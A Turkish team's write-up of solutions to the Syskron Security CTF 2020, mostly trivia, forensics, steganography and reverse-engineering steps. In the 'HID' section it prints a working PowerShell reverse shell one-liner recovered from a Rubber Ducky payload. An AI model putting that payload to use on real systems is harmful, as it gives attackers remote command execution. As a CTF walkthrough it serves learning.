Merhabalar, 21-26 Ekim arasında gerçekleştirilen Syskron Security CTF 2020‘e takım olarak katıldık. Yarışmayı 3420 puanla 23. olarak tamamladık.

ctftime sayfası

Aşağıda yarışma dahilinde çözdüğümüz soruları bulabilirsiniz.

Keyifli okumalar.
AUCC @EbubekirTurker

Welcome

(20) Welcome ~reading
Soru: pdf dosyası

Bize verilen pdf dosyasını açıp okuduğumuzda flagı buluyoruz.

Flag : syskronCTF{th4nk-you}

Check Digit

(25) # Trivia ~standard
Soru:

Google’da IEC standard imei check digit sorgusunu aratırsanız karşınıza Luhn Algorithm çıkmakta. Burada da bize sorulan ISO standardı bulunmakta.

Flag : syskronCTF{ISO/IEC-7812}

Deadly Malware

(25) # Trivia ~malware
Soru:

Google’da malware that caused deaths due to explosion şeklinde arama yaparsak, top-5-most-dangerous-industrial-cyberattacks sitesi karşımıza çıkıyor.

Burdaki zararlılardan soruya en uygunu triton.

Flag : syskronCTF{triton}

Security framework

(25) # Trivia ~framework ~standard
Soru:

Google’da nist securty framework 1.1 aramasını yaptığımızda çıkan pdf dosyasını okursak, sayfa 21’deki tabloadan 5 core functions‘u ve kısaltmalarını bulabiliyoruz.

Flag : syskronCTF{ID-PR-DE-RS-RC}

Vulnerable RTOS

(25) # Trivia ~vulnerability
Soru:

Google’da 11 zero-day vulnerabilities aramasını yapınca flag’ımızı ilk aramada buluyoruz.

Flag : syskronCTF{URGENT/11}

DoS attack

(100) # Monday ~packet-analysis
Soru: pcap dosyası

Bu soru için bir adet hint aldık. Hint ise They bought some older SIPROTEC 4 protection relays. idi.

Google’da SIPROTEC 4 DoS attack malware , diye aratırsak bu wikipedia sayfasını buluyorduk.

Flag : syskronCTF{Industroyer}

Redacted news

(100) # Monday ~forensics
Soru: Resim

Soruda ek olarak verilen resimde sansürlü bir alan vardı.

Resmi stegsolve.jar ile açıp renk kanalları ile oynadığımızda flag gözüküyordu.

Flag : syskronCTF{d0-Y0u-UNdEr5TaND-C2eCh?}

Security headers

(100) # Monday ~web
Soru: web sitesi- http://www.senork.de

Chrome’da Geliştirici Araçlarındaki Network kısmını açıp, soruda verilen siteye gittiğimizde, flag’ın response headerında olduğunu görmekteydik.

Flag : syskronCTF{y0u-f0und-a-header-flag}

Bash history

(200) # Tuesday ~forensics
Soru: bash history

Verilen dosyayı açıp baktığımızda çoğu komutlar normal iken bazılarının base64 ile decode edilmiş hashler içerdiğini gördük.

CyberChef sitesinde şu tarifi kullanarak, tüm hashleri çevirdik.

İki tanesi ilgimizi çekti. İlki ZWNobyBjM2x6YTNKdmJrTlVSbnQwU0dWNU idi. Çünkü bunu decode ettiğimizde echo c3lza3JvbkNURnt0SGV5 çıkıyordu, Çıkan c3lza3JvbkNURnt0SGV5‘ı tekrar decode edersek flagin ilk parçasının yani syskronCTF{tHey‘ın çıktığını gördük.

İkincisi ise xYTjBNR3hsTFdGc2JDMUVZWFJoSVNGOQ== idi. Sonundaki eşittirlerden base64 olduğuna neredeyse emindik ama hiçbir şekilde decode edilmiyordu.

Flagin ilk kısmını bulduğumuzdan acaba xYTjBNR3hsTFdGc2JDMUVZWFJoSVNGOQ== , ZWNobyBjM2x6YTNKdmJrTlVSbnQwU0dWNU in devamı mı diye düşündük ve ikisini uc uca ekleyip

ZWNobyBjM2x6YTNKdmJrTlVSbnQwU0dWNUxYTjBNR3hsTFdGc2JDMUVZWFJoSVNGOQ==

i elde ettik.

Elde ettiğimiz hashı decode edersek,

echo c3lza3JvbkNURnt0SGV5LXN0MGxlLWFsbC1EYXRhISF9

çıkıyordu, çıkan sonuçtaki hashi tekrar decode ettiğimizde flagı bulduk.

final tarif

Flag : syskronCTF{tHey-st0le-all-Data!!}

Change

(200) # Tuesday ~forensics
Soru: change.jpg

Bize verilen resme, exiftool da aşağıdaki komutla ile baktık

	exiftool change.jpg

Sonuçlardaki copyright bölümünde şu javascript kodu vardı.

Bu kodu Chrome Geliştirici Seçeneklerindeki Console ekranında çalıştırarak flagı bulduk.

Flag : syskronCTF{l00k5l1k30bfu5c473dj5}

Leak audit

(200) # Tuesday ~sql
Soru: Ek dosyası

Bize verilen .db uzantılı dosyayı DB Browser programı ile açtık.

Sorudaki her bir seçenek için aşağıdaki sorguları yaptık

1) How many employee records are in the file?

	 select count(*) from personal

2) Are there any employees that use the same password? (If true, send us the password for further investigation.)

 	SELECT *, COUNT(*) FROM personal GROUP BY password HAVING COUNT(*) > 1

3)In 2017, we switched to bcrypt to securely store the passwords. How many records are protected with bcrypt?

	select count(*) from personal where password REGEXP '^\$2[ayb]\$.{56}$'

bcrypt regex’ini stackoverflow sorusundan aldık.

Flag : 376_mah6geiVoo_21

Security.txt

(200) # Tuesday ~best-practices
Soru:

Bize verilen siteler https://tools.ietf.org/html/draft-foudil-securitytxt-10 ve https://www.senork.de/.well-known/security.txt idi Eğer ikinci siteye ulaşamıyorsanız txt dosyası şurada

Buradaki public key ‘ in detaylarını gpg ile görmek için aşağıdaki komutu çalıştırıyoruz. Eğer yukarıdaki link kırık ise public keye buradan ulaşabilirsiniz

	gpg openpgp.asc

Flag burada.

Flag : syskronCTF{Wh0-put3-flag3-1nto-0penPGP-key3???}

HID

(300) # Wednesday ~binary-analysis
Soru: inject.bin

Bunun usb rubberducky ile alakalı olduğunu düşündük. Bu yüzden ducktoolkit sitesinde verilen binary dosyasını Almanca klavye düzeninde decode ettik.

Çıkan sonuçta bir pastebin linki vardı. Eğer Almanca klavye düzeninde yapmazsanız bu link yanlış oluyordu.

Flag pastebin linkinde idi.

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10syskronCTF{y0u_f0und_m3}",80);$stream = $client.GetStream();[byte[)$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Flag : syskronCTF{y0u_f0und_m3}

Key generator

(300) # Wednesday ~reverse-engineering
Soru: keygen

Bize verilen dosya 64 bit ELF dosyası idi.

Aşağıdaki resim gibi çalışıyordu, bizden input istiyor ve bize key oluşturuyordu.

Incelemek için ghidra ile açtık, genserial fonksiyonunda girilen inputun 0x6c61736b612121 olup olmadığı kontrol ediliyordu. Eğer oysa octal fonksiyonu çağrılıyordu.

0x6c61736b612121 i şu cyberChef tarifinde asciiye çevirdik ve gizli inputun laska!! olduğunu bulduk. Daha sonra keygen i bu input ile çalıştırdık.

Bize kod üretmek yerine uzunca bir çıktı verdi.

1639171916391539162915791569103912491069173967911091119123955915191639156967955916396391439125916296395591439609104911191169719175

octal fonskiyonuna ghidrada bakarsak, DAT_00102060 daki veriler local_218 değişkenine kopyalanıyordu

Aşağıdaki ikinci while de ise local_218 in her 4. karakterini bastırıyordu.

Fonksiyon adının octal olmasından dolayı, bu çıktının octal olması gerektiğini ve buradaki 9 ların da ayraç olduğunu düşündük. Çünkü 8lik formatta 9 yoktur. Ayrıca ilk 3 sayıyın ascii’ leri de s,y,s veriyordu.

Tüm bunları karşılayan bir python scripti yazdık.

arr="163917191639153916291579156910391249106917396791109111912395591519163915696795591639639143912591629639559143960910491119116
9719175"

for i in arr.split('9'):
	print(chr(int(i,8)),end="")
print()

Vee flagimiz çıktı.

Flag : syskronCTF{7HIS-isn7-s3cUr3-c0DIN9}

Screenshot

(300) # Wednesday ~image-analysis
Soru: Screenshot_2020-05-19_at_11.38.08_AM.png

even if it's not that significant ifadesinden sorunun LSB(Least Significant Bit ) ile alakalı olduğunu anlıyoruz.

Resmi stegsolve.jar ile açıp plane lere bakarsak Red plane 1 de aşağıdaki mesajı görüyoruz.Sorunun LSB ile alakalı olduğunun ikinci bir kanıtı.

Ayrıca Green plane 0 da iki mesaj görüyoruz, birincisi en sağ altta

ikincisi üst ortada. İkincisi dikey olduğundan sanki bize column odakli bir LSB varmış gibi izlenim veriyor.

stegsolve uygulamasında extract kısmında aşağıdaki seçeneklerle veriyi çıkartıyoruz. Green plane 0 , LSB, Column

Çıktı dosyasında ‘s’ karakterini aradığımızda flagi buluyoruz.

Flag : syskronCTF{s3cr3T_m3sS4g3}

Contact card

(400) # Thursday ~malware
Soru: confidential.zip pass: edeb142

Biraz araştırma sonucunda bu sorunun şuradaki makale ile alakalı olduğunu düşündük. ve .contact dosyaları içinde vsCode yardımı ile http.\\ aradık.

Maximilian Baecker.contact adındaki dosyada kullanılıyordu ve http klasöründeki www.random4.cpl i açıyordu. www.random4.cpl dosyası aslında 32 bit windows executable’ıydı.

Belirtilen contact dosyasında oraya tıklarsak bir popup çıkıyordu ve bizi pastebine yönlendiriyordu.

Flag : syskronCTF{n3v3r_c11ck_unkn0wn_11nk5}

Exposed webcam

(400) # Thursday ~webcam
Soru:

verilen sitede karşımıza bir kamera çıkıyordu

configration->maintenance->reboot yolunu izleyerek kamerayı yeniden başlattığımızda

bizi hata sayfasına yönlendiriyordu.

Bu sitedeki hata kodu

Li4vYmFja3VwXzIwMjAvMjAyMC0xMC0yMC1yb290LXJlc3RvcmUuYmFja3Vw

idi. Bunu şu cyberChef tarifinde decode ettik. Sonuç ../backup_2020/2020-10-20-root-restore.backup çıkıyordu.

Çıkan sonuç bir dosya yoluna benzediğinden bu linkten backup dosyası çıkıyordu. Bu dosya aslında şifreli bir zip dosyasıydı. Yukarıdaki link kırık ise buradan indirebilirsiniz.

Şifre araştırmasına başladık. View parameters sayfasında testuser‘in şifresini bulduk.

mmDi54YChNNYNMQM9y9PH48uKVcMQX . Ama bu backup’un şifresi değildi.

İkinci olarak security sayfasında *‘lar ile gizlenmiş bir şifre vardı. Ögeyi inceleden baktık ve bu backup dosyasının şifresiydi.

Backup dosyasını dYzqmTkKv457BENsKBGSfD5vcudrXe ile çıkardığımızda içinden testuser.backup çıkıyordu. Çıkan dosya da şifreli bir zip dosyası idi neyseki onun şifresini daha önceden bulmuştuk , dYzqmTkKv457BENsKBGSfD5vcudrXe .

Bundan da testuser.backup çıkıyordu ve sonunda bu içinde flag olan normal bir dosyaydı.

Flag : syskronCTF{why-1s-th1s-file-here?}

Firmware update

(500) # Friday ~reverse-engineering ~crypto
Soru: LibrePLC_firmware_pack.zip

Note: 5157CA3SDGF463249FBF

Verilen zip dosyasından 3 tane şifreli zip dosyası çıktı.

İlkinin flagı soruda Note kısmında verilen 5157CA3SDGF463249FBF idi.

İlk dosyayı açtık, 2 dosya vardı. key dosyası python dilinde yazılmış bir koddu ve bizden bir arguman ile çalıştırmamızı bekliyordu.

Aşağıdaki komut ile çalıştırdığımızda

python3 LibrePLC_fw_1.0.0/key LibrePLC_fw_1.0.0/LibrePLC_fw_1.0.0.bin 
7SYSCC3076BDCTF13CC9CTFA6CB7SYSCC3076CD56579549EC5AB533EN03AFC1F9N

çıktısını üretiyordu ve bu ikinci zip dosyasının şifresiydi.

İkinci dosyada bi dosya vardı ve önceki çalıştırdığımız komutu bu dosyaya karşı kullandık. Bu da

CSYS0BBA60E46ABB19C5BC0CSYS0CCK60EQ1NC41E2C5DDA4C5C7D45E096162

çıktısını üretti. Ve bu çıktı 3.zip dosyasının şifresiydi.

Sonuncu zip dosyasınını da çıkarınca bize yine öncekilere benzer bi dosya verdi. Hex editor ile açtığımızda flag en üstte karşımızadaydı.

head -n 2  ./LibrePLC_fw_1.0.2/LibrePLC_fw_1.0.2.bin| xxd

Flag : syskronCTF{s3Cur3_uPd4T3}